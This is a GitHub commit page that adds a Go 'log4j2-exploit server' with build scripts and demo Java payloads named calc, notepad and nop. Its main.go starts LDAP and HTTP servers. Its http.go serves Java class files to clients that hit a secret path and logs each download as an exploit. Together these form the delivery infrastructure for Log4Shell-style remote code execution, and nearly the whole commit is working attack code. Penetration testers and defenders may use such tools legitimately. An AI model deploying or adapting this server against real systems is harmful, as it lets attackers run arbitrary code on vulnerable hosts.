Skip to content

Commit 1d51c98

Browse files
committed
add log4j2-exploit server, add some simple payloads.
1 parent 97045e0 commit 1d51c98

File tree

29 files changed

+652
-0
lines changed

29 files changed

+652
-0
lines changed

.gitignore

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,3 +13,6 @@
1313

1414
# Dependency directories (remove the comment below to include it)
1515
# vendor/
16+
17+
# GoLand
18+
.idea

cmd/build.bat

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
go build -v -trimpath -ldflags "-s -w" -o log4j2-exp.exe

cmd/build.sh

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
go build -v -trimpath -ldflags "-s -w" -o log4j2-exp

cmd/main.go

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
package main
2+
3+
import (
4+
"crypto/tls"
5+
"flag"
6+
"fmt"
7+
"log"
8+
"os"
9+
"os/signal"
10+
11+
"github.com/For-ACGN/log4j2"
12+
)
13+
14+
var (
15+
cfg log4j2.Config
16+
crt string
17+
key string
18+
)
19+
20+
func init() {
21+
banner()
22+
23+
flag.CommandLine.SetOutput(os.Stdout)
24+
flag.StringVar(&cfg.Hostname, "host", "127.0.0.1", "server IP address or domain name")
25+
flag.StringVar(&cfg.ClassDirectory, "dir", "payload", "payload(java class) directory")
26+
flag.StringVar(&cfg.HTTPNetwork, "http-net", "tcp", "http server network")
27+
flag.StringVar(&cfg.HTTPAddress, "http-addr", ":8080", "http server address")
28+
flag.StringVar(&cfg.LDAPNetwork, "ldap-net", "tcp", "ldap server network")
29+
flag.StringVar(&cfg.LDAPAddress, "ldap-addr", ":389", "ldap server address")
30+
flag.BoolVar(&cfg.EnableTLS, "tls", false, "enable ldaps and https server")
31+
flag.StringVar(&crt, "tls-cert", "cert.pem", "tls certificate file path")
32+
flag.StringVar(&key, "tls-key", "key.pem", "tls private key file path")
33+
flag.Parse()
34+
}
35+
36+
func banner() {
37+
fmt.Println()
38+
fmt.Println(" ::: :::::::: :::::::: ::: ::::::::::: :::::::: ")
39+
fmt.Println(" :+: :+: :+: :+: :+: :+: :+: :+: :+: ")
40+
fmt.Println(" +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ ")
41+
fmt.Println(" +#+ +#+ +:+ :#: +#+ +:+ +#+ +#+ ")
42+
fmt.Println(" +#+ +#+ +#+ +#+ +#+# +#+#+#+#+#+ +#+ +#+ ")
43+
fmt.Println(" #+# #+# #+# #+# #+# #+# #+# #+# #+# ")
44+
fmt.Println(" ########## ######## ######## ### ##### ########## ")
45+
fmt.Println()
46+
fmt.Println(" https://github.com/For-ACGN/log4j2-exp")
47+
fmt.Println()
48+
}
49+
50+
func main() {
51+
// check configuration
52+
if cfg.Hostname == "" {
53+
log.Fatalln("[error]", "empty host name")
54+
}
55+
fi, err := os.Stat(cfg.ClassDirectory)
56+
checkError(err)
57+
if !fi.IsDir() {
58+
log.Fatalf("[error] \"%s\" is not a directory", cfg.ClassDirectory)
59+
}
60+
// load tls certificate
61+
if cfg.EnableTLS {
62+
cfg.TLSCert, err = tls.LoadX509KeyPair(crt, key)
63+
checkError(err)
64+
}
65+
cfg.LogOut = os.Stdout
66+
67+
// start log4j2-exploit server
68+
server, err := log4j2.New(&cfg)
69+
checkError(err)
70+
err = server.Start()
71+
checkError(err)
72+
73+
// wait signal for stop log4j2-exploit server
74+
signalCh := make(chan os.Signal, 1)
75+
signal.Notify(signalCh, os.Interrupt)
76+
<-signalCh
77+
78+
err = server.Stop()
79+
checkError(err)
80+
}
81+
82+
func checkError(err error) {
83+
if err != nil {
84+
log.Fatalln("[error]", err)
85+
}
86+
}

cmd/payload/calc.class

429 Bytes
Binary file not shown.

cmd/payload/nop.class

239 Bytes
Binary file not shown.

cmd/payload/notepad.class

432 Bytes
Binary file not shown.

go.mod

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
module github.com/For-ACGN/log4j2
2+
3+
go 1.17
4+
5+
require (
6+
github.com/For-ACGN/ldapserver v1.0.3
7+
github.com/pkg/errors v0.9.1
8+
github.com/stretchr/testify v1.7.0
9+
10+
github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3
11+
)
12+
13+
require (
14+
github.com/davecgh/go-spew v1.1.0 // indirect
15+
github.com/pmezard/go-difflib v1.0.0 // indirect
16+
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
17+
)

go.sum

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
github.com/For-ACGN/ldapserver v1.0.3 h1:MJBxjBNGK0QwnHvUAR3njpiVlqqqgmLEZPfe0ze22h0=
2+
github.com/For-ACGN/ldapserver v1.0.3/go.mod h1:CyMXeyg387oRKs9yLWKkPqcfz2nkCzTrHl7b0i4vzBE=
3+
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
4+
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
5+
github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3 h1:wIONC+HMNRqmWBjuMxhatuSzHaljStc4gjDeKycxy0A=
6+
github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0=
7+
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
8+
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
9+
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
10+
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
11+
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
12+
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
13+
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
14+
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
15+
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
16+
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
17+
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

http.go

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
package log4j2
2+
3+
import (
4+
"log"
5+
"net/http"
6+
"os"
7+
"path/filepath"
8+
"strings"
9+
)
10+
11+
type httpHandler struct {
12+
logger *log.Logger
13+
14+
classDir string
15+
secret string
16+
}
17+
18+
func (h *httpHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
19+
h.logger.Printf("[info] http client %s request %s", r.RemoteAddr, r.RequestURI)
20+
21+
var success bool
22+
defer func() {
23+
if !success {
24+
w.WriteHeader(http.StatusNotFound)
25+
}
26+
}()
27+
28+
// check url structure
29+
sections := strings.SplitN(r.RequestURI, "/", 3)
30+
if len(sections) < 3 {
31+
h.logger.Println("[error]", "invalid request url structure:", r.RequestURI)
32+
return
33+
}
34+
35+
// compare secret
36+
if sections[0] != "" || sections[1] != h.secret {
37+
h.logger.Println("[warning]", "invalid secret:", sections[1])
38+
return
39+
}
40+
41+
// prevent arbitrary file read
42+
path := sections[2]
43+
if strings.Index(path, "../") != -1 || strings.Index(path, "/..") != -1 {
44+
h.logger.Println("[warning]", "found slash in url:", r.RequestURI)
45+
return
46+
}
47+
48+
// convert "/secret/calc.class/Main.class" to "/secret/calc.class"
49+
// "/secret/Main.class/other.class" to "/secret/other.class"
50+
// path = strings.Replace(path, "Main.class", "", 1)
51+
// fmt.Println("path:", path)
52+
// path = filepath.Join(h.classDir, path)
53+
54+
idx := strings.LastIndex(path, "/")
55+
if idx == -1 {
56+
h.logger.Println("[error]", "invalid request url structure:", r.RequestURI)
57+
return
58+
}
59+
path = filepath.Join(h.classDir, path[:idx])
60+
61+
// read file and send to client
62+
class, err := os.ReadFile(path)
63+
if err != nil {
64+
h.logger.Println("[error]", "failed to read file:", err)
65+
return
66+
}
67+
success = true
68+
w.WriteHeader(http.StatusOK)
69+
_, err = w.Write(class)
70+
if err != nil {
71+
h.logger.Println("[error]", "failed to write class file:", err)
72+
return
73+
}
74+
h.logger.Printf("[exploit] http client %s download %s", r.RemoteAddr, path)
75+
}

0 commit comments

Comments
 (0)